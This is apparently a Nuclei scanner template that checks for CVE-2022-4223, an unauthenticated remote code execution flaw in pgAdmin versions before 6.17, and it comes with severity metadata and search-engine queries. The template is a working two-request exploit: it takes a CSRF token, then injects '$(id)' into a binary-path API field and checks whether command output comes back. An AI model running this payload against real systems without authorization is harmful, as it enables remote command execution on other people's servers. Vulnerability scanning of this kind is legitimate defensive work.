pgAdmin < 6.17 - Unauthenticated Remote Code Execution

id: CVE-2022-4223

info:
  name: pgAdmin < 6.17 - Unauthenticated Remote Code Execution
  author: 0x_Akoko
  severity: critical
  description: |
    pgAdmin prior to 6.17 contains an insecure HTTP API caused by improper access control, letting unauthenticated users execute arbitrary external utilities via path manipulation, exploit requires no authentication.
  impact: |
    Attackers can execute arbitrary external utilities on the server, potentially leading to remote code execution or system compromise.
  remediation: |
    Update to version 6.17 or later to fix the security issue.
  reference:
    - https://github.com/advisories/GHSA-3v6v-2x6p-32mc
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4223
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-4223
    epss-score: 0.79933
    epss-percentile: 0.99562
    cwe-id: CWE-94,CWE-862
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.title:"pgAdmin"
    fofa-query: title="pgAdmin"
  tags: cve,cve2022,pgadmin,rce,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf
        part: body
        group: 1
        regex:
          - 'name="csrf_token"[^>]*value="([^"]+)"'
        internal: true

  - raw:
      - |
        POST /misc/validate_binary_path HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-pgA-CSRFToken: {{csrf}}
        Referer: {{RootURL}}/browser/

        {"utility_path":"/tmp/$(id)"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "uid=", "gid=")'
        condition: and

    extractors:
      - type: regex
        part: body
        regex:
          - 'uid=[0-9]+\([a-zA-Z0-9_-]+\)\s*gid=[0-9]+\([a-zA-Z0-9_-]+\)'
# digest: 4a0a004730450220111e5c69e001736582663bd2ec5fbdcc046a9047e6b8f2c71f06acb246bafe77022100fcca3720e6f7cac3a413111592573a4c0a2627bbba81e4359ef949bf7db14fe4:922c64590222798bb761d5b6d8e72950